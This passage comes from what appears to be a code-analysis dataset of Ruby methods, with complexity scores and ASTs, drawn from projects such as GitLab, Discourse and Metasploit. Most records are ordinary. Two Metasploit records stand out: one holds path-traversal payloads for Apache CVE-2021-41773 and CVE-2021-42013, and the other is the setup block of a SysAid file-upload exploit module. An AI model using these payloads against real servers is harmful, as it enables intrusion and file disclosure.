end","complexity_score":19.7,"ast_json":"{\"type\":\"def\",\"children\":[\"import_category\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"insert_user_id\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"parse_category_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"date_inserted\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"clean_up\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"-1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]},{\"type\":\"send\",\"children\":[null,\"category_id_from_imported_category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parent_category_id\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}","id":"db531967-db2c-46f9-ad9b-745e946ff4b7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/personal_access_token.rb","start_line":162,"raw_source":"def self.max_expiration_lifetime_in_days\n    if ::Feature.enabled?(:buffered_token_expiration_limit) # rubocop:disable Gitlab/FeatureFlagWithoutActor -- Group setting but checked at user\n      MAX_PERSONAL_ACCESS_TOKEN_LIFETIME_IN_DAYS_BUFFERED\n    else\n      MAX_PERSONAL_ACCESS_TOKEN_LIFETIME_IN_DAYS\n    end\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_expiration_lifetime_in_days\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"buffered_token_expiration_limit\"]}]},{\"type\":\"const\",\"children\":[null,\"MAX_PERSONAL_ACCESS_TOKEN_LIFETIME_IN_DAYS_BUFFERED\"]},{\"type\":\"const\",\"children\":[null,\"MAX_PERSONAL_ACCESS_TOKEN_LIFETIME_IN_DAYS\"]}]}]}","id":"d6b1948a-e9e6-4011-a8cd-bd65b0c47b3d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/actions_helper.rb","start_line":173,"raw_source":"def self.is_class_action?(class_ref)\n      return false if class_ref.nil?\n      is_an_action = class_ref < Fastlane::Action\n      return is_an_action || false\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_class_action?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"class_ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_ref\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"is_an_action\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_ref\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Action\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_an_action\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"df60cfb0-4aaa-43ae-87cb-e5b7555516f5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-subscriptions/app/controllers/discourse_subscriptions/hooks_controller.rb","start_line":136,"raw_source":"def find_active_customer(customer_id, product_id)\n      Customer\n        .joins(:subscriptions)\n        .where(customer_id: customer_id, product_id: product_id)\n        .where(\n          Subscription.arel_table[:status].eq(nil).or(\n            Subscription.arel_table[:status].not_eq(\"canceled\"),\n          ),\n        )\n        .first\n    end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"find_active_customer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"customer_id\"]},{\"type\":\"arg\",\"children\":[\"product_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"subscriptions\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"customer_id\"]},{\"type\":\"lvar\",\"children\":[\"customer_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product_id\"]},{\"type\":\"lvar\",\"children\":[\"product_id\"]}]}]}]},\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscription\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"eq\",{\"type\":\"nil\",\"children\":[]}]},\"or\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscription\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"not_eq\",{\"type\":\"str\",\"children\":[\"canceled\"]}]}]}]},\"first\"]}]}","id":"2a7be234-8381-46d5-ae15-f8d9f4dd6bd8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/session_map.rb","start_line":105,"raw_source":"def fallback_to_replicas_for_ambiguous_queries(&)\n          nest_sessions(scoped_sessions, :fallback_to_replicas_for_ambiguous_queries, &)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fallback_to_replicas_for_ambiguous_queries\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"nest_sessions\",{\"type\":\"send\",\"children\":[null,\"scoped_sessions\"]},{\"type\":\"sym\",\"children\":[\"fallback_to_replicas_for_ambiguous_queries\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"2b6318d7-efda-4a3d-80c1-3751aa0711cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/mark_packages_for_destruction_service.rb","start_line":93,"raw_source":"def sync_helm_metadata(packages)\n      helm_packages = packages.select(&:helm?)\n      package_files = Packages::PackageFile.for_package_ids(helm_packages.map(&:id))\n      return unless package_files.exists?\n\n      Packages::Helm::BulkSyncHelmMetadataCacheService.new(\n        current_user, package_files\n      ).execute\n    end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_helm_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"helm_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packages\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"helm?\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"package_files\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"PackageFile\"]},\"for_package_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helm_packages\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_files\"]},\"exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packages\"]},\"Helm\"]},\"BulkSyncHelmMetadataCacheService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"package_files\"]}]},\"execute\"]}]}]}","id":"fb502872-b686-47b0-8a52-6127c2cf11ed"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/user_preferences/params_contract.rb","start_line":61,"raw_source":"def date_alerts\n      if notifications.any?(method(:date_fields_fail_validation?))\n        errors.add :notification_settings, :wrong_date\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"date_alerts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications\"]},\"any?\",{\"type\":\"send\",\"children\":[null,\"method\",{\"type\":\"sym\",\"children\":[\"date_fields_fail_validation?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"notification_settings\"]},{\"type\":\"sym\",\"children\":[\"wrong_date\"]}]},null]}]}","id":"935f7b55-71f8-44eb-b745-7a4c227f465c"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/controllers/api/v1/connectors_controller.rb","start_line":156,"raw_source":"def set_connector\n        @connector = current_workspace.connectors.find(params[:id])\n      rescue ActiveRecord::RecordNotFound\n        render_error(\n          message: \"Connector not found\",\n          status: :not_found\n        )\n      end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_connector\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connector\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_workspace\"]},\"connectors\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Connector not found\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"not_found\"]}]}]}]}]},null]}]}","id":"10e64ddb-9f74-417b-a0a8-a92bb98b9e43"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/permitted_params.rb","start_line":678,"raw_source":"def keys_whitelisted_by_list(hash, list)\n    (hash || {})\n      .keys\n      .select { |k| list.any? { |whitelisted| whitelisted.to_s == k.to_s || whitelisted === k } }\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"keys_whitelisted_by_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},{\"type\":\"hash\",\"children\":[]}]}]},\"keys\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"whitelisted\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whitelisted\"]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whitelisted\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}]}","id":"b35fdccd-eeee-40b9-aa38-931685afa74e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/importer/statuses_index_importer.rb","start_line":77,"raw_source":"def local_statuses_scope\n    Status.local.select('\"statuses\".\"id\", COALESCE(\"statuses\".\"reblog_of_id\", \"statuses\".\"id\") AS status_id')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"local_statuses_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"local\"]},\"select\",{\"type\":\"str\",\"children\":[\"\\\"statuses\\\".\\\"id\\\", COALESCE(\\\"statuses\\\".\\\"reblog_of_id\\\", \\\"statuses\\\".\\\"id\\\") AS status_id\"]}]}]}","id":"c2e8b2da-de56-4f2e-b045-fa516f48b8df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/feature/definition.rb","start_line":96,"raw_source":"def for_upcoming_milestone?\n      return false unless milestone\n\n      Gitlab::VersionInfo.parse(milestone + '.999') >= Gitlab.version_info\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"for_upcoming_milestone?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestone\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"VersionInfo\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestone\"]},\"+\",{\"type\":\"str\",\"children\":[\".999\"]}]}]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"version_info\"]}]}]}]}","id":"14995e01-b75f-4349-a86b-e72dc0daee87"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/refresh_token_request.rb","start_line":95,"raw_source":"def validate_token_presence\n        @missing_param = :refresh_token if refresh_token.blank? && @refresh_token_parameter.blank?\n\n        @missing_param.nil?\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_token_presence\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"refresh_token\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@refresh_token_parameter\"]},\"blank?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@missing_param\",{\"type\":\"sym\",\"children\":[\"refresh_token\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@missing_param\"]},\"nil?\"]}]}]}","id":"ec538143-31c4-43a8-bdda-d85fcb023eb4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":851,"raw_source":"def get_absolute_image_url(link)\n    absolute_url = link\n    if link.start_with?(\"//\")\n      uri = URI(Discourse.base_url)\n      absolute_url = \"#{uri.scheme}:#{link}\"\n    elsif link.start_with?(\"/uploads/\", \"/images/\", \"/user_avatar/\")\n      absolute_url = \"#{Discourse.base_url}#{link}\"\n    elsif GlobalSetting.relative_url_root && link.start_with?(GlobalSetting.relative_url_root)\n      absolute_url = \"#{Discourse.base_url_no_prefix}#{link}\"\n    end\n    absolute_url\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_absolute_image_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"absolute_url\",{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"//\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/uploads/\"]},{\"type\":\"str\",\"children\":[\"/images/\"]},{\"type\":\"str\",\"children\":[\"/user_avatar/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"relative_url_root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"start_with?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"relative_url_root\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"absolute_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_url_no_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"absolute_url\"]}]}]}","id":"3b86d752-eee8-41e0-a6be-b1e5a56fe918"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/apache_normalize_path.rb","start_line":91,"raw_source":"def pick_payload\n    case datastore['CVE']\n    when 'CVE-2021-41773'\n      payload = '.%2e/'\n    when 'CVE-2021-42013'\n      payload = '.%%32%65/'\n    else\n      payload = ''\n    end\n\n    payload\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"pick_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CVE\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE-2021-41773\"]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"str\",\"children\":[\".%2e/\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE-2021-42013\"]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"str\",\"children\":[\".%%32%65/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}","id":"61a57952-9860-4fc3-8373-aabd9c183e87"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":211,"raw_source":"def flog_ruby! ruby, file=\"-\", timeout = 10\n    @parser = (option[:parser] || RubyParser).new\n\n    warn \"** flogging #{file}\" if option[:verbose]\n\n    ast = @parser.process ruby, file, timeout\n\n    return unless ast\n\n    mass[file] = ast.mass\n    process ast\n  end","complexity_score":19.55,"ast_json":"{\"type\":\"def\",\"children\":[\"flog_ruby!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ruby\"]},{\"type\":\"optarg\",\"children\":[\"file\",{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parser\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"parser\"]}]},{\"type\":\"const\",\"children\":[null,\"RubyParser\"]}]}]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"option\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"verbose\"]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"** flogging \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ast\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parser\"]},\"process\",{\"type\":\"lvar\",\"children\":[\"ruby\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mass\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ast\"]},\"mass\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"ast\"]}]}]}]}","id":"1ed1a469-35cc-47cd-bbea-9775ffdd5f5b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/sysaid_auth_file_upload.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SysAid Help Desk Administrator Portal Arbitrary File Upload',\n        'Description' => %q{\n          This module exploits a file upload vulnerability in SysAid Help Desk.\n          The vulnerability exists in the ChangePhoto.jsp in the administrator portal,\n          which does not correctly handle directory traversal sequences and does not\n          enforce file extension restrictions. While an attacker needs an administrator\n          account in order to leverage this vulnerability, there is a related Metasploit\n          auxiliary module which can create this account under some circumstances.\n          This module has been tested in SysAid v14.4 in both Linux and Windows.\n        },\n        'Author' => [\n          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2015-2994'],\n          ['URL', 'https://seclists.org/fulldisclosure/2015/Jun/8']\n        ],\n        'DefaultOptions' => { 'WfsDelay' => 5 },\n        'Privileged' => false,\n        'Platform' => %w{linux win},\n        'Arch' => ARCH_X86,\n        'Targets' => [\n          [ 'Automatic', {} ],\n          [\n            'SysAid Help Desk v14.4 / Linux',\n            {\n              'Platform' => 'linux'\n            }\n          ],\n          [\n            'SysAid Help Desk v14.4 / Windows',\n            {\n              'Platform' => 'win'\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2015-06-03',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptPort.new('RPORT', [true, 'The target port', 8080]),\n        OptString.new('TARGETURI', [ true, \"SysAid path\", '/sysaid']),\n        OptString.new('USERNAME', [true, 'The username to login as']),\n        OptString.new('PASSWORD', [true, 'Password for the specified username']),\n      ]\n    )\n  end","complexity_score":9.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SysAid Help Desk Administrator Portal Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a file upload vulnerability in SysAid Help Desk.\\n\"]},{\"type\":\"str\",\"children\":[\"          The vulnerability exists in the ChangePhoto.jsp in the administrator portal,\\n\"]},{\"type\":\"str\",\"children\":[\"          which does not correctly handle directory traversal sequences and does not\\n\"]},{\"type\":\"str\",\"children\":[\"          enforce file extension restrictions. While an attacker needs an administrator\\n\"]},{\"type\":\"str\",\"children\":[\"          account in order to leverage this vulnerability, there is a related Metasploit\\n\"]},{\"type\":\"str\",\"children\":[\"          auxiliary module which can create this account under some circumstances.\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested in SysAid v14.4 in both Linux and Windows.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Pedro Ribeiro <pedrib[at]gmail.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2015-2994\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://seclists.org/fulldisclosure/2015/Jun/8\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WfsDelay\"]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":